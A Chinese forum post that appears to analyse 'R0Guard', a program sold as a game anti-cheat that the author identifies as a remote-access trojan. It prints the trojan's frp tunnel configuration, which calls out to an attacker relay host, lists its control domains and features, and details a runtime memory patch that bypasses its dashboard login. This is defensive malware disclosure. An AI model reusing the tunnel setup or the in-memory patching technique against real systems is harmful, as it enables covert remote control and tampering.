
# R0Guard.exe 逆向分析报告
## 概述
xxGuard.exe 是一款以"CS2/CSGO 反作弊客户端"为名义的程序,来源于国内某社区平台。经过完整逆向分析,确认该程序实质上是一个**远程控制木马(RAT)**,具备完整的远程监控和控制功能,并通过 FRP 反向隧道将用户机器暴露为可远程访问的服务器。
---
## 为什么我会注意到他
其实是在抖音评论看到有人说他启动了一个frpc.exe 一开始我只是以为他用内网穿透 偷用户流量 本着试一试的心态抓了一下
## 恶意行为分析
### 1. FRP 反向隧道(将用户机器变为远程服务器)
R0Guard 启动后会释放并执行 `frpc.exe`,从命令行找到其配置如下:
```ini
serverAddr = "local-api-direct.r0csgo.com"
serverPort = 20046
auth.method = "token"
auth.token = "<根据用户ID下发>"
[[proxies]]
name = "http-<根据用户ID下发>"
type = "http"
localIP = "127.0.0.1"
localPort = 54425
subdomain = "<根据用户ID下发>"
```
这意味着用户机器上的 HTTP 服务(54425端口)被通过 frp 隧道暴露到公网,远程控制端可通过 `http://<subdomain>.local-api-direct.r0csgo.com:20046` 访问。
发现他转发了54425这个端口 本地浏览器打开可以看到一个后台登陆界面

## 绕过这个登陆验证 查看到究竟干了什么
尽管从dump中的字符串都推测出他的操作包含以下内容 但我还是想绕过后台密码直接进去看看他能干什么 更直观
更有说服力 以下是单从静态分析中推测的内容
R0Guard 在本地 127.0.0.1:54425 运行一个 HTTP 服务器,提供完整的远程控制面板,功能包括:
| 功能 | 说明 |
|------|------|
| 屏幕截图 | 实时截取用户屏幕 |
| 屏幕录制 | H.264 FLV 实时直播用户桌面 |
| 文件管理 | 浏览、上传、下载用户文件 |
| 远程桌面(RDP) | 远程操控用户电脑 |
| 命令执行 | 在用户机器上执行任意命令 |
| 进程管理 | 查看和结束用户进程 |
| DLL 注入监控 | 监控进程的模块加载 |
| 系统信息收集 | CPU、内存、磁盘、显卡、操作系统等 |
### 3. 相关基础设施
- **api.r0csgo.com** - 主 API 服务器(密码验证、配置下发)
- **ac-api-v3.r0csgo.com** - 反作弊 API(伪装用途)
- **ac-socket.r0csgo.com** - WebSocket 通信
- **local-api-direct.r0csgo.com:20046** - FRP 服务器(隧道中转)
---
### Dashboard 认证
- 密码经 SHA256 哈希后发送到 `247K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2M7r3W2Q4x3X3g2J5x3r3y4K6k6$3!0Q4x3X3g2U0L8$3#2Q4x3V1k6$3x3W2)9J5c8X3q4#2N6r3S2Q4x3V1k6U0K9r3g2U0K9#2)9#2k6Y4m8S2M7%4y4Q4y4U0l9`. 验证
- 远程 API 需要签名参数(`sign`),算法在 VMP 虚拟化代码中
- 登录失败有冷却机制(~300秒)不过他这个冷却机制仍在本地 触发冷却的时候直接重启xxGuard.exe就好了
- Session 在服务端内存中管理,无法伪造
---
## 绕过过程
### 尝试过的失败方案
1. **猜测/爆破密码** - 不知道密码,把他frp配置文件里面的subdomain拿出来试了下 不行
2. **修改 hosts + 假 HTTPS 服务器** - SSL pinning 导致握手失败
3. **mitmproxy 反向代理** - 可以篡改登录响应为 success,但 R0Guard 内部 session 验证仍然失败,后续请求返回 302/401
4. **静态 patch exe 文件** - 关键字符串和代码都经 VMP 加密,文件中不存在
主要是他有vmp所以搞了蛮久的
### 最终成功方案:运行时改代码
#### 步骤 1:定位模块基址
在进程内存中搜索 UTF-8 字符串"未授权访问"(`E6 9C AA E6 8E 88 E6 9D 83 E8 AE BF E9 97 AE`),该字符串在模块数据段中偏移固定,以此反算模块基址。
#### 步骤 2:定位 Session 验证函数
通过特征码搜索模式 `E8 ?? ?? ?? ?? 84 C0 0F 85`(即 `CALL func; TEST AL,AL; JNE offset`),统计所有被这种模式调用的函数地址。Session 验证函数是被调用次数最多的那个(28次,每个 API handler 都调用一次)。
该函数特征:
- 被调用 28 次
- 以 `48 89 5C 24 08 48 89 74 24 18` 开头(标准 x64 函数 prologue)
- 返回值通过 AL 寄存器传递(1=有效,0=无效)
#### 步骤 3:Patch
将函数开头 3 字节替换为:
```asm
mov al, 1 ; B0 01 - 永远返回"session有效"
ret ; C3 - 直接返回
```
#### 效果
Patch 后所有 API 请求无需认证即可访问:
- `GET /dashboard` → 200(返回完整控制面板 HTML)
- `GET /api/dashboard/system` → 200(返回系统信息 JSON)
- 所有 `/api/dashboard/*` 接口均可直接调用
---
## 自动化工具
最终产出 `r0guard_bypass.py`,一键完成以上所有步骤:
```
python r0guard_bypass.py (需管理员权限)
```
工作流程:
1. 自动查找 R0Guard.exe 进程
2. OpenProcess 获取写权限
3. 内存搜索定位模块基址(无视 ASLR)
4. 通过 CALL 模式统计定位 session 验证函数
5. Patch 为 `mov al, 1; ret`
6. HTTP 请求验证 patch 是否生效
---
## 结论
R0Guard 以"反作弊"为名,实际上是一个功能完备的 RAT:
1. **欺骗性** - 伪装为游戏安全组件,用户无防备心理
2. **控制力** - 屏幕录制、文件管理、命令执行、远程桌面,具备完整远程控制能力
3. **隐蔽性** - VMP 加壳 + 反调试 + SSL pinning,大幅增加分析难度
4. **规模化** - 通过 frp 隧道 + subdomain 机制实现批量管控多台受害者机器
每台安装 R0Guard 的用户机器都是一台可被远程完全控制的肉鸡。
## 远控后台展示 !!!






原始文件 +Bypass脚本 +分析报告 +dump 下载 1e8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4g2K6i4K6u0W2L8r3q4F1P5X3!0#2N6g2)9J5k6h3y4G2L8g2)9J5c8X3V1K6g2h3I4$3x3%4u0^5x3i4N6W2j5R3`.`.
[内核课程]《Windows内核攻防实战》!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
最后于 7小时前
被NMNP码农编辑
,原因: